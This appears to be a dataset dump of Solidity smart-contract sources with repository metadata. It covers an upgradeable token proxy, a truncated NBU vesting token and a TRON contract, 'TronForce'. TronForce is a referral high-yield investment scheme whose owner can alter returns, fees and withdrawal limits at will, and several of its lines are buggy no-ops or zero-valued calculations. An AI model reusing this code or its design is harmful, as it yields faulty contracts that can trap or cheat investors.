if (etoken2.isOwner(msg.sender, etoken2Symbol)) {
_;
}
}
function _getAsset() internal view returns(AssetInterface) {
return AssetInterface(getVersionFor(msg.sender));
}
function recoverTokens(ERC20Interface _asset, address _receiver, uint _value) public onlyAssetOwner() returns(bool) {
return _asset.transfer(_receiver, _value);
}
function totalSupply() public view returns(uint) {
return etoken2.totalSupply(etoken2Symbol);
}
function balanceOf(address _owner) public view returns(uint) {
return etoken2.balanceOf(_owner, etoken2Symbol);
}
function allowance(address _from, address _spender) public view returns(uint) {
return etoken2.allowance(_from, _spender, etoken2Symbol);
}
function decimals() public view returns(uint8) {
return etoken2.baseUnit(etoken2Symbol);
}
function transfer(address _to, uint _value) public returns(bool) {
return transferWithReference(_to, _value, '');
}
function transferWithReference(address _to, uint _value, string _reference) public returns(bool) {
return _getAsset()._performTransferWithReference(_to, _value, _reference, msg.sender);
}
function transferToICAP(bytes32 _icap, uint _value) public returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(bytes32 _icap, uint _value, string _reference) public returns(bool) {
return _getAsset()._performTransferToICAPWithReference(_icap, _value, _reference, msg.sender);
}
function transferFrom(address _from, address _to, uint _value) public returns(bool) {
return transferFromWithReference(_from, _to, _value, '');
}
function transferFromWithReference(address _from, address _to, uint _value, string _reference) public returns(bool) {
return _getAsset()._performTransferFromWithReference(_from, _to, _value, _reference, msg.sender);
}
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromWithReference(_from, _to, _value, etoken2Symbol, _reference, _sender);
}
function transferFromToICAP(address _from, bytes32 _icap, uint _value) public returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference) public returns(bool) {
return _getAsset()._performTransferFromToICAPWithReference(_from, _icap, _value, _reference, msg.sender);
}
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) public onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromToICAPWithReference(_from, _icap, _value, _reference, _sender);
}
function approve(address _spender, uint _value) public returns(bool) {
return _getAsset()._performApprove(_spender, _value, msg.sender);
}
function _forwardApprove(address _spender, uint _value, address _sender) public onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyApprove(_spender, _value, etoken2Symbol, _sender);
}
function emitTransfer(address _from, address _to, uint _value) public onlyEToken2() {
emit Transfer(_from, _to, _value);
}
function emitApprove(address _from, address _spender, uint _value) public onlyEToken2() {
emit Approval(_from, _spender, _value);
}
function () public payable {
_getAsset()._performGeneric.value(msg.value)(msg.data, msg.sender);
_returnReturnData(true);
}
// Interface functions to allow specifying ICAP addresses as strings.
function transferToICAP(string _icap, uint _value) public returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(string _icap, uint _value, string _reference) public returns(bool) {
return transferToICAPWithReference(_bytes32(_icap), _value, _reference);
}
function transferFromToICAP(address _from, string _icap, uint _value) public returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, string _icap, uint _value, string _reference) public returns(bool) {
return transferFromToICAPWithReference(_from, _bytes32(_icap), _value, _reference);
}
event UpgradeProposed(address newVersion);
event UpgradePurged(address newVersion);
event UpgradeCommited(address newVersion);
event OptedOut(address sender, address version);
event OptedIn(address sender, address version);
// Current asset implementation contract address.
address internal latestVersion;
// Proposed next asset implementation contract address.
address internal pendingVersion;
// Upgrade freeze-time start.
uint internal pendingVersionTimestamp;
// Timespan for users to review the new implementation and make decision.
uint constant UPGRADE_FREEZE_TIME = 3 days;
// Asset implementation contract address that user decided to stick with.
// 0x0 means that user uses latest version.
mapping(address => address) internal userOptOutVersion;
modifier onlyImplementationFor(address _sender) {
if (getVersionFor(_sender) == msg.sender) {
_;
}
}
function getVersionFor(address _sender) public view returns(address) {
return userOptOutVersion[_sender] == 0 ? latestVersion : userOptOutVersion[_sender];
}
function getLatestVersion() public view returns(address) {
return latestVersion;
}
function getPendingVersion() public view returns(address) {
return pendingVersion;
}
function getPendingVersionTimestamp() public view returns(uint) {
return pendingVersionTimestamp;
}
function proposeUpgrade(address _newVersion) public onlyAssetOwner() returns(bool) {
// Should not already be in the upgrading process.
if (pendingVersion != 0x0) {
return false;
}
// New version address should be other than 0x0.
if (_newVersion == 0x0) {
return false;
}
// Don't apply freeze-time for the initial setup.
if (latestVersion == 0x0) {
latestVersion = _newVersion;
return true;
}
pendingVersion = _newVersion;
pendingVersionTimestamp = now;
emit UpgradeProposed(_newVersion);
return true;
}
function purgeUpgrade() public onlyAssetOwner() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
emit UpgradePurged(pendingVersion);
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
function commitUpgrade() public returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
if (pendingVersionTimestamp + UPGRADE_FREEZE_TIME > now) {
return false;
}
latestVersion = pendingVersion;
delete pendingVersion;
delete pendingVersionTimestamp;
emit UpgradeCommited(latestVersion);
return true;
}
function optOut() public returns(bool) {
if (userOptOutVersion[msg.sender] != 0x0) {
return false;
}
userOptOutVersion[msg.sender] = latestVersion;
emit OptedOut(msg.sender, latestVersion);
return true;
}
function optIn() public returns(bool) {
delete userOptOutVersion[msg.sender];
emit OptedIn(msg.sender, latestVersion);
return true;
}
// Backwards compatibility.
function multiAsset() public view returns(EToken2Interface) {
return etoken2;
}
}
| 221,105 | 11,325 |
7c2467263ce512331255a4b8ee2ed4b853164248cdcae8d80cd3371aa89f0500
| 22,318 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TU/TUZoDezUgkgBxbBGNG9Mrr8SEouB1AyDDN_TronForce.sol
| 6,150 | 22,096 |
//SourceUnit: TronForce.sol
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Object {
struct Investment {
uint256 planId;
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Plan {
uint256 dailyInterest;
uint256 term;
}
struct Investor {
address addr;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 referrer;
uint256 planCount;
uint256 totalUserInvestment;
uint256 lastDate;
uint256 withdrawCount;
uint256 lastInvest;
uint256 deficitWithdraw;
uint256 totalUserWithdraw;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
}
}
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TronForce is Ownable {
using SafeMath for uint256;
uint256 public constant REFERENCE_RATE = 50; // Reference bonus: 5%
uint256 public constant REFERENCE_LEVEL1_RATE = 100; // Level 1 bonus: 10%
uint256 public constant REFERENCE_LEVEL2_RATE = 50; // Level 2 bonus: 5%
uint256 public constant REFERENCE_LEVEL3_RATE = 30; // Level 3 bonus: 3%
uint256 public constant REFERENCE_SELF_RATE = 0;
uint256 public constant DURATION = 3; // Cycle before reinvestment
uint256 public constant CYCLE = 9; // withdraw cycle before reset
uint256 public constant VARR = 1; // Total investment per time
uint256 public constant PER = 100000000; // Percentage Calculation
uint256 public constant ROI = 30000000; // Return on investment: 30%
uint256 public constant MINIMUM = 50000000; //Minimum investment : 50 TRX
uint256 public constant MAXIMUM = 10000000000; //Maximum investment : 10000 TRX
uint256 public constant MAX_WITHDRAW = 20000000000; //Maximum withdrawal : 20000 TRX
uint256 public constant MIN_WITHDRAW = 60000000; // Minimum withdrawal : 60 TRX
uint256 public constant REFERRER_CODE = 1234; // Default referral code
uint256 public constant CONTRACT_LIMIT = 800; // Contract balance
uint256 public latestReferrerCode;
uint256 private totalInvestments_;
uint256 public contract_balance;
uint256 public _dailyLimit = 20; // daily withdrawal limit
uint256 public _dailySum;
bool public limitReached = false;
uint256 private developerPercent_ = 50;
uint256 private marketingPercent_ = 50;
uint256 private _investorReward = 0;
uint256 private duration_ = 3;
uint256 private _newROI = 30;
uint256 private max_withdraw_ = 20000000000; //Maximum withdraw : 20000 TRX
uint256 private _investorCount = 0;
address private developerAccount_;
address private marketingAccount_;
address private referenceAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Object.Investor) public uid2Investor;
Object.Plan[] private investmentPlans_;
event onInvest(address investor, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = msg.sender;
referenceAccount_ = msg.sender;
_init();
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest(0, 0);
}
}
function setMarketingAccount(address _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function setDailyLimit(uint256 _dailyLimita) public onlyOwner {
require(_dailyLimita != uint256(0));
_dailyLimit = _dailyLimita;
_dailySum = getBalance().mul(_dailyLimit).div(100);
limitReached = false;
}
function getDailyLimit() public view onlyOwner returns (uint256) {
return _dailyLimit;
}
function getDailySum() public view returns (uint256) {
return _dailySum;
}
function setRefCount(uint256 _investorCountt) public onlyOwner {
_investorCount = _investorCountt;
}
function getRefCount() public view onlyOwner returns (uint256) {
return _investorCount;
}
function setRewardAmount(uint256 _reward) public onlyOwner {
_investorReward = _reward;
}
function getRewardAmount() public view onlyOwner returns (uint256) {
return _investorReward;
}
function setDeveloperAccount(address _newDeveloperAccount) public onlyOwner {
require(_newDeveloperAccount != address(0));
developerAccount_ = _newDeveloperAccount;
}
function setDuration(uint256 _newDuration) public onlyOwner {
require(_newDuration != uint256(0));
duration_ = _newDuration;
}
function setROI(uint256 _newROIi) public onlyOwner {
require(_newROIi != uint256(0));
_newROI = _newROIi;
}
function getROI() public view onlyOwner returns (uint256) {
return _newROI;
}
function setDeveloperPercent(uint256 _percent) public onlyOwner {
require(_percent != uint256(0));
developerPercent_ = _percent;
}
function setMarketingPercent(uint256 _percent) public onlyOwner {
require(_percent != uint256(0));
marketingPercent_ = _percent;
}
function setMaxWithdraw(uint256 _amt) public onlyOwner {
require(_amt != uint256(0));
max_withdraw_ = _amt;
}
function getMaxWithdraw() public view onlyOwner returns (uint256) {
return max_withdraw_;
}
function getDeveloperPercent() public view onlyOwner returns (uint256) {
return developerPercent_;
}
function getMarketingPercent() public view onlyOwner returns (uint256) {
return marketingPercent_;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function setReferenceAccount(address _newReferenceAccount) public onlyOwner {
require(_newReferenceAccount != address(0));
referenceAccount_ = _newReferenceAccount;
}
function getReferenceAccount() public view onlyOwner returns (address) {
return referenceAccount_;
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
uid2Investor[latestReferrerCode].withdrawCount = 0;
uid2Investor[latestReferrerCode].totalUserInvestment = 0;
uid2Investor[latestReferrerCode].deficitWithdraw = 0;
uid2Investor[latestReferrerCode].totalUserWithdraw = 0;
investmentPlans_.push(Object.Plan(_newROI.mul(10), 1));
}
function getCurrentPlans() public view returns (uint256[] memory, uint256[] memory, uint256[] memory) {
uint256[] memory ids = new uint256[](investmentPlans_.length);
uint256[] memory interests = new uint256[](investmentPlans_.length);
uint256[] memory terms = new uint256[](investmentPlans_.length);
for (uint256 i = 0; i < investmentPlans_.length; i++) {
Object.Plan storage plan = investmentPlans_[i];
ids[i] = i;
interests[i] = plan.dailyInterest;
terms[i] = plan.term;
}
return
(ids,
interests,
terms);
}
function getTotalInvestments() public onlyOwner view returns (uint256){
return totalInvestments_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Object.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
return
(investor.planCount,
investor.totalUserInvestment,
investor.lastDate,
investor.withdrawCount,
investor.deficitWithdraw,
investor.totalUserWithdraw,
currentDividends,
newDividends);
}
function getInvestorInfoByUIDB(uint256 _uid) public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Object.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
return
(investor.lastInvest,
investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Object.Investor storage investor = uid2Investor[_uid];
uint256[] memory planIds = new uint256[](investor.planCount);
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
planIds[i] = investor.plans[i].planId;
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
} else {
isExpireds[i] = false;
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
isExpireds[i] = true;
}
}
}
}
return
(planIds,
investments,
currentDividends,
investmentDates,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
}
return (latestReferrerCode);
}
function invest(uint256 _referrerCode, uint256 _planId) public payable{
uint256 _amount = msg.value;
address _addr = msg.sender;
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
}
uint256 planCount = uid2Investor[uid].planCount;
Object.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].planId = _planId;
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
if(investor.totalUserInvestment == 0 && investor.withdrawCount > 0){
investor.totalUserInvestment.add(_investorReward);
}
investor.totalUserInvestment = investor.totalUserInvestment.add(_amount);
uint256 amountt = investor.totalUserInvestment.mul(_newROI.div(PER));
investor.plans[planCount].currentDividends = amountt;
_calculateReferrerReward(_amount, _referrerCode);
totalInvestments_ = totalInvestments_.add(_amount);
investor.lastDate = block.timestamp + 1 days;
investor.lastInvest = _amount;
uint256 developerPercentage = (_amount.mul(developerPercent_)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(marketingPercent_)).div(1000);
marketingAccount_.transfer(marketingPercentage);
emit onInvest(msg.sender, msg.value);
}
function withdraw() public payable {
require(msg.value <= getBalance(), "Insufficent contract balance");
require(msg.value <= max_withdraw_, "Maximum withdraw limit reached");
require(limitReached == false, "Daily limit reached");
require(msg.value == 0, "Withdrawal doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
uint256 fAmount = 0;
require(uid != 0, "No active investments");
Object.Investor storage investor = uid2Investor[uid];
require(block.timestamp > investor.lastDate, "Can not withdraw more than once in a day");
require(((investor.withdrawCount == 0) || ((investor.withdrawCount > 0) && ((investor.planCount/investor.withdrawCount) > (1/duration_)))), "Reinvest to continue withdrawal");
fAmount = doWithdraw(uid);
emit onWithdraw(msg.sender, fAmount*1000000);
}
function doWithdraw(uint256 uid) private returns(uint256) {
Object.Investor storage investor = uid2Investor[uid];
uint256 amount = investor.totalUserInvestment*_newROI/PER;
uint256 withdrawalAmount = amount;
if (uid2Investor[uid].availableReferrerEarnings>0) {
withdrawalAmount += uid2Investor[uid].availableReferrerEarnings/1000000;
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
investor.withdrawCount = investor.withdrawCount.add(1);
investor.totalUserWithdraw += withdrawalAmount;
investor.lastDate = block.timestamp + 1 days;
if(msg.value >= _dailySum){
limitReached = true;
_dailySum = 0;
}
else{
limitReached = false;
_dailySum -= (withdrawalAmount*1000000);
}
if(investor.deficitWithdraw + withdrawalAmount > max_withdraw_){
withdrawalAmount = max_withdraw_;
investor.deficitWithdraw = investor.deficitWithdraw.add(withdrawalAmount).sub(max_withdraw_);
msg.sender.transfer(withdrawalAmount.mul(1000000));
}
else{
withdrawalAmount = investor.deficitWithdraw + withdrawalAmount;
investor.deficitWithdraw = 0;
msg.sender.transfer(withdrawalAmount.mul(1000000));
}
if((investor.withdrawCount % CYCLE == 0)){
investor.totalUserInvestment == 0;
}
return(withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _amount = _investment;
if(_ref1 != 0){
uint256 _bonus1 = _amount.mul(10).div(100);
Object.Investor storage investor1 = uid2Investor[_ref1];
investor1.availableReferrerEarnings = investor1.availableReferrerEarnings.add(_bonus1);
}
if(_ref2 != 0){
uint256 _bonus2 = _amount.mul(5).div(100);
Object.Investor storage investor2 = uid2Investor[_ref2];
investor2.availableReferrerEarnings = investor2.availableReferrerEarnings.add(_bonus2);
}
if(_ref3 != 0){
uint256 _bonus3 = _amount.mul(3).div(100);
Object.Investor storage investor3 = uid2Investor[_ref3];
investor3.availableReferrerEarnings = investor3.availableReferrerEarnings.add(_bonus3);
}
}
}
}
| 303,599 | 11,326 |
5e6cb96fe3fb8c9d2b18299d9e47104df90b19a14abbb3a4ccb51f7738bca2a9
| 15,466 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/4347_19793_0xeb58343b36c7528f23caae63a150240241310049.sol
| 4,027 | 15,320 |
pragma solidity =0.8.0;
// ----------------------------------------------------------------------------
// NBU token main contract (2020)
//
// Symbol : NBU
// Name : Nimbus
// Total supply : 1.000.000.000 (burnable)
// Decimals : 18
// ----------------------------------------------------------------------------
// SPDX-License-Identifier: MIT
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner {
require(msg.sender == owner, "Ownable: Caller is not the owner");
_;
}
function transferOwnership(address transferOwner) public onlyOwner {
require(transferOwner != newOwner);
newOwner = transferOwner;
}
function acceptOwnership() virtual public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return add(a, b, "SafeMath: addition overflow");
}
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract NBU is IERC20, Ownable, Pausable {
using SafeMath for uint;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => uint) private _unfrozenBalances;
mapping (address => uint) private _vestingNonces;
mapping (address => mapping (uint => uint)) private _vestingAmounts;
mapping (address => mapping (uint => uint)) private _unvestedAmounts;
mapping (address => mapping (uint => uint)) private _vestingTypes; //0 - multivest, 1 - single vest, > 2 give by vester id
mapping (address => mapping (uint => uint)) private _vestingReleaseStartDates;
uint private _totalSupply = 1_000_000_000e18;
string private constant _name = "Nimbus";
string private constant _symbol = "NBU";
uint8 private constant _decimals = 18;
uint private vestingFirstPeriod = 60 days;
uint private vestingSecondPeriod = 152 days;
uint public giveAmount;
mapping (address => bool) public vesters;
bytes32 public immutable DOMAIN_SEPARATOR;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
mapping (address => uint) public nonces;
event Unvest(address user, uint amount);
constructor () {
_unfrozenBalances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
uint chainId = block.chainid;
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256('EIP712Domain(string name,uint256 chainId,address verifyingContract)'),
keccak256(bytes(_name)),
chainId,
address(this)));
giveAmount = _totalSupply / 10;
}
function approve(address spender, uint amount) external override whenNotPaused returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transfer(address recipient, uint amount) external override whenNotPaused returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) external override whenNotPaused returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "NBU::transferFrom: transfer amount exceeds allowance"));
return true;
}
function permit(address owner, address spender, uint amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external whenNotPaused {
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "NBU::permit: invalid signature");
require(signatory == owner, "NBU::permit: unauthorized");
require(block.timestamp <= deadline, "NBU::permit: signature expired");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function increaseAllowance(address spender, uint addedValue) external returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) external returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "NBU::decreaseAllowance: decreased allowance below zero"));
return true;
}
function unvest() external whenNotPaused returns (uint unvested) {
require (_vestingNonces[msg.sender] > 0, "NBU::unvest:No vested amount");
for (uint i = 1; i <= _vestingNonces[msg.sender]; i++) {
if (_vestingAmounts[msg.sender][i] == _unvestedAmounts[msg.sender][i]) continue;
if (_vestingReleaseStartDates[msg.sender][i] > block.timestamp) break;
uint toUnvest = block.timestamp.sub(_vestingReleaseStartDates[msg.sender][i]).mul(_vestingAmounts[msg.sender][i]) / vestingSecondPeriod;
if (toUnvest > _vestingAmounts[msg.sender][i]) {
toUnvest = _vestingAmounts[msg.sender][i];
}
uint totalUnvestedForNonce = toUnvest;
toUnvest = toUnvest.sub(_unvestedAmounts[msg.sender][i]);
unvested = unvested.add(toUnvest);
_unvestedAmounts[msg.sender][i] = totalUnvestedForNonce;
}
_unfrozenBalances[msg.sender] = _unfrozenBalances[msg.sender].add(unvested);
emit Unvest(msg.sender, unvested);
}
function give(address user, uint amount, uint vesterId) external {
require (giveAmount > amount, "NBU::give: give finished");
require (vesters[msg.sender], "NBU::give: not vester");
giveAmount = giveAmount.sub(amount);
_vest(user, amount, vesterId);
}
function vest(address user, uint amount) external {
require (vesters[msg.sender], "NBU::vest: not vester");
_vest(user, amount, 1);
}
function burnTokens(uint amount) external onlyOwner returns (bool success) {
require(amount <= _unfrozenBalances[owner], "NBU::burnTokens: exceeds available amount");
_unfrozenBalances[owner] = _unfrozenBalances[owner].sub(amount, "NBU::burnTokens: transfer amount exceeds balance");
_totalSupply = _totalSupply.sub(amount, "NBU::burnTokens: overflow");
emit Transfer(owner, address(0), amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint) {
return _allowances[owner][spender];
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function name() external pure returns (string memory) {
